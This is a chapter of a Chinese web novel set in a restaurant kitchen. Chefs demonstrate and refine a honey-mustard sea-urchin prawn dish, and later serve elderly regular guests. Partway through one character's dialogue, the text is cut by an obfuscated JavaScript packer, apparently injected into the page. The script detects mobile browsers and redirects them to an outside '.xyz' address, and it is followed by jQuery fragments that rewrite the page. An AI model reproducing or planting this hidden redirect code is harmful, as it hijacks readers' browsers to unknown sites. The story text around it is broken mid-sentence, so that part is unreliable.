晚市开始前，照例是大厨教学时间，陆培德叫上一个从粤城来培训的厨子，一同进行演示教学。
他对陈锦莹说：“锦莹姐，粤城马上要开春交会了，我们这儿好多厨子都是从粤城各家餐馆过来学习的，这次他们得回去支援。这些天宁宁选定了几十款菜品，要求做法简单、食材易获取，还得符合外国人的口味。我今天教的是海胆芥末虾球。”
陈锦莹点头应道：“了解。”
陆培德让那个厨子剥出大虾仁，随后开始介绍：“我们现在开始制作法式蜂蜜芥末酱，听到这个酱汁的名字，大家就该知道，这是法国人从日料中获取灵感研制出的酱汁。”
“蛋黄酱的做法，上次宁宁已经给大家讲过了。这次我就用市场上能买到的瓶装蛋黄酱来制作。”陆培德挖出一大勺蛋黄酱，“在里面加入黄芥末酱……”
陈锦莹看着陆培德依次加入芥末酱、姜黄粉、伍斯特酱、柠檬汁、蜂蜜……她可没想到，在一家中餐厅的后厨，能看到西式料汁的调配。
“要是你们不加入海胆，那么在酱汁里可以添上芥末籽酱。芥末籽的颗粒感，也是这款酱料的特色之一，不过这次我们为了突出海胆的味道，就不用芥末籽酱了。”陆培德把海胆也加了进去，搅拌均匀，“好了，酱料准备好了。小邹，开油锅。”
小邹开油锅，陆培德站在他身旁，指导他将虾仁炸成虾球。
虾球炸好后，小邹倒出油，冲水涮净锅子，重新烧热锅子后关火，再把刚才调制好的酱汁倒入锅中。
“我们今天这道菜，需要热菜上桌，但酱料不能用大火炒制，那该怎么办呢？”陆培德发问。
“用锅子的余温加热酱汁。”
这时，小邹已经把虾球倒入锅中，让虾球均匀地裹上酱汁。
小邹把虾球盛出，陆培德面前摆着两个白瓷盘，他说道：“我们现在学习简单的法式摆盘。还记得宁宁说过的吗？”
“少而精，注重留白。”
“对。”
陆培德把黄瓜段错落有致地放在盘中，每一段黄瓜上放一个裹着鹅黄色酱汁的虾仁，最后洒上粉末状的欧芹碎。
他说：“这是多人份的摆盘。”
接着，他又来到另一个盘子前，用勺子舀了一小勺蜂蜜芥末酱，在盘子里画出一道弧线，两根经过简单调味的绿色芦笋交叉放在芥末酱上，一个虾球置于中间，虾球上点缀着
一片绿叶。
“虾球本身口感浓郁，就得搭配一些口感清爽的配菜。”陆培德解释道。
有人不以为然地说：“这么大的盘子，就放一个虾球？那得吃多少盘才能吃饱啊？”
阿松敲了一下小徒弟的脑袋：“一个虾球就按一盘虾球的价格卖。”
“哦！一个人一顿饭吃二十盘，那我们可赚翻了。”小徒弟说道。
陆培德摇摇头，把放着一个虾球的盘子递给他：“给你，让你吃一大盘。”
陆培德递给陈锦莹一双筷子：“尝尝。”
一群人一拥而上，把已经装盘和还没装盘的虾球抢了个精光。
这道菜要是提前做好芥末酱，出菜确实非常快。
陈锦莹咬了一口虾球，蜂蜜的甜与芥末的辣奇妙地融合在一起，里面还有海胆颗粒，海胆的咸润，虾球外裹着一层脆壳，脆壳下是软嫩鲜甜的虾肉。
陆培德看着她问：“味道怎么样？”
陈锦莹迟疑了一下，这虾球好吃是好吃，只是这脆壳，她不太满意。
“觉得这个脆壳做得不够好？”陆培德问。
自己的心里话被陆培德说中，陈锦莹有些不好意思，毕竟自己今天才第一天入职，实在不该提这种意见。
“宁宁跟我试菜的时候，我也有同样的想法，当时我就想，为什么不用软炸虾仁的手法呢？宁宁跟我说，粤城当前的条件下，举办这样大型的交易会很不容易，餐饮、住宿等资源都不足，吃饭的人总是排长队。在这种情况下，我们的菜品要做到又快又好吃，但没必要做到极致好吃。软炸虾仁最难的就是精准控制油温，得用温油慢炸。宁宁就把这道工序去掉了。”
“原来是这样。”陈锦莹点头，“那这个方子已经很不错了。”
“等等，陆哥，挂脆糊是怎么回事啊？”那个小徒弟探出头问道。
“鲁菜里有一道软炸虾仁，外层裹着一层薄而酥脆的糊衣，入口即化，带着轻微的焦香；内里的虾仁鲜嫩弹牙，肉质细腻，咬下去能感受到虾肉的紧实与多汁。难点就在于，要做到糊衣酥脆而不焦糊，同时虾仁熟透且不失水分。要是用软炸虾仁的方法做这个虾球，口味会更完美。”陆培德向大家解释道。
“这么好吃，陆哥，露一手呗！”小徒弟说。
陆培德看向陈锦莹：“我在锦莹姐面前做软炸虾仁，那不是班门弄斧嘛。锦莹姐，要不您用软炸虾仁的
方法，试试做这道菜？
“对啊！对啊！陈大厨，露一手吧，让我们尝尝吴哥师傅做的菜。
“是啊！陈大厨，做给我们看看吧！
大家如此热情，陈锦莹点头应道：“我也是第一次尝试这种西式做法，要是做得不好，还请大家多多包涵。
“我来剥虾。
“我也来。几个小伙子争着去剥虾。
陆培德把芥末酱的方子递给陈锦莹：“锦莹姐，这个酱料还得您自己调配。
陈锦莹仔细看了方子，开始调配酱料。那几个小厨子已经把虾仁剥好，挑去了虾线，说道：“陈大厨，虾仁准备好了。
“给我一块挤干水的毛巾。陈锦莹说。
“给。
陈锦莹把虾仁放进毛巾里，吸掉外表的水分，她说：“这一步是为了让虾仁能更好地挂糊。
她在虾仁里加入拍碎的姜片，再加入一点花雕酒和盐，用手抓捏虾仁：“这一步，就跟我们处理鱼片一样，要抓出黏液。
“软炸虾仁的糊是蓬松且柔软的，但今天我们外面还要裹酱汁，所以调糊的时候，要偏脆一些，糊要更薄，那就只放蛋清，把蛋清打发成细腻的泡沫。陈锦莹打发着鸡蛋清，鸡蛋清被打发成绵密的细泡，接着加入玉米淀粉和面粉。
“这个面糊可真不好调。
“难怪宁宁要把这道工序去掉。
陈锦莹调好了面糊，把虾仁放入糊中，裹上面糊。
陈锦莹站到灶台前，锅里倒油，等油温升高，她说：“阿德说要用温油慢炸，油温这样就可以了，一个个下锅，不能着急。
这确实急不得，虾仁炸了三遍。
之后，她按照刚才所学，用余温加热酱汁，将虾仁倒入锅中裹上酱汁。
陆培德拿来一个黑瓷盘，先用花纹模具在盘边洒上欧芹碎粉，再点缀上樱桃番茄，然后帮陈锦莹装盘。
“陆哥，咱们自己试吃，您还这么讲究装盘，这不是多此一举嘛。
这个口无遮拦的小徒弟又被他师傅赏了一个爆栗，阿松说：“你再这么乱说，我把你扔给你大师哥去。
这下小徒弟脖子一缩，不再吭声。自从大师哥阿忠跟着宁宁后，在宝华楼的地位日益提高，一年下来已经上榜成了大厨，而且是大厨里最严苛的一个，他可不想跟大师哥。
陈锦莹笑着完成了她的虾仁，对陆培德说：“阿德，您尝尝。
”
陆培德看着其他人说：“大家一起尝尝。”
他这话一出口，其他人都纷纷伸出筷子。吃得快的人，已经叫了起来：“改了这个脆壳，好吃太多了！”
这一层很薄的酥皮，着实让人惊艳，这种脆是细碎的，碰到牙齿就裂开，沾了口水便化开，里面的虾仁柔嫩多汁。
“这就是吴哥的师傅啊！”
“真厉害啊！”
“宁宁的眼光真的超级厉害，在电视上看见陈大厨，就说陈大厨是顶顶厉害的大厨。”
“多谢大家夸赞，我也只是对鲁菜比较了解，接下来我要学习粤菜，还希望大家多多帮忙。”陈锦莹说道，“另外大家不用这么见外，跟大家一样，叫我锦莹就好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915568|176918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“陈大厨，您学起来肯定很快的。”
“对啊！”
陆培德看了一眼时间：“好了，我们要开始开市前的检查了，大家准备一下。”
陆培德带着陈锦莹一起检查后厨的准备工作，梳理今晚老顾客的喜好。
陆培德今晚当值，很多老顾客自然是冲着他来的。他去查看了自己的招牌，那一锅黄汤。
正所谓“厨师的汤，唱戏的腔”。
揭开盖子的瞬间，鲜香扑鼻而来，陈锦莹再次领略到陆家这口汤的精妙之处。
“听闻陆家的这口汤，看似简单，实则不简单。”
“是啊，别人家的汤，都是用老母鸡、火腿和猪骨一起炖制，我们家的汤只用老母鸡吊汤。一是鸡的品质好，二是火候讲究。”陆培德向陈锦莹解释道。
“真的只用老母鸡？”
陆培德说：“明天我吊汤的时候教您。”
“这……”陈锦莹虽然知道后厨有互相交流的氛围，可这毕竟是陆家的独门秘技。
“这有什么？宁宁教我的更多呢！而且新中国成立后，我们家的菜，也不再是独家秘方了。我二叔和三叔收了不少徒弟，早就不是不外传的秘诀了，就看谁有本事学到手。”
陈锦莹意识到，自己还是受到家里观念的影响，或多或少有些保守。
晚市开始，陆培德的单子虽多，但他的手艺大多是焖、炖、扒等，食材基本上都已制成半成品，接到单子后再加工，倒也有条不紊。
“这昆仑鲍甫，原本是华叔的拿手菜，宁宁教给了我，我结合了我们陆家的红烧鲍甫，进行了改良。我加了一道工序，把干鲍用浸透鸡汤的细纱布包裹，再用小
火烤制。鲍鱼久煮之后，再经过慢烤，一放一收之间，纤维更加松软，溏心更明显……”
陈锦莹本身就是大厨，没见过这些做法自然不清楚，经陆培德这么一解释，顿时恍然大悟。
一道道菜品送出，后厨忙而不乱，不像她在德祥饭店的时候，既要管自己的菜品，又要管理整个厨房，要是阿志不在，她能忙得焦头烂额。
“阿德，林老先生今天宴请老友，说想见见您。”门口有人叫陆培德。
陆培德说：“等我把手头的活忙完，马上过去。”
陆培德把手里的菜做完，将后续一道菜交给徒弟，便走了出去。
陆培德走进小隔间，隔间里有两位老者正在用餐。林老先生是解放前从内地来港的京剧名伶，是宁宴的常客。另一位是穿着长衫、留着长须的儒雅老者。
“陆大厨，这位刘老先生是书画大家，在北京出生、北京长大。”
陆家向来与官宦名流打交道，经这么一介绍，陆培德立刻知道这位是谁了。他连忙说道：“听家父提起过，说刘令钧老先生最爱我爷爷做的红烧鲍甫。”
“是啊！三十五年没尝过那个味道了。”刘老先生说，“这道昆仑鲍甫，让我尝到了熟悉的味道，甚至可以说，你这是青出于蓝而胜于蓝啊。”
“刘老先生过奖了。这道昆仑鲍甫算是南北两派粤菜的融合之作，是我和岳宁小姐共同改良的菜品。”陆培德自然不想独占功劳，解释道。
林老先生说：“您这次来，不巧了，岳宁那丫头要考试，不然尝尝她做的菜，那才叫不虚此行。”
“我就惦记着老北京的那几道菜，除了陆家的几道菜，还有月香楼的爆炒腰花，黄大厨的手艺，那是没得说。”
他说的黄大厨，是黄炳刚老先生的父亲。陆培德说：“没错！黄家的手艺是没得说的。老先生要是去北京，可以找我董二叔，他是黄老先生的徒孙，他尽得黄家真传。”
“我本想去，只是……不知道什么时候能成行。”刘老先生幽幽叹了口气，国内说改革开放了，但是像他们这种有一些历史遗留问题的，“罢了，罢了，能吃到陆家菜，我也知足了。”
听他似乎有遗憾之意，陆培德想到陈锦莹也是黄老爷子的传人，便说：“刘老先生，您稍等，我去后厨问问。”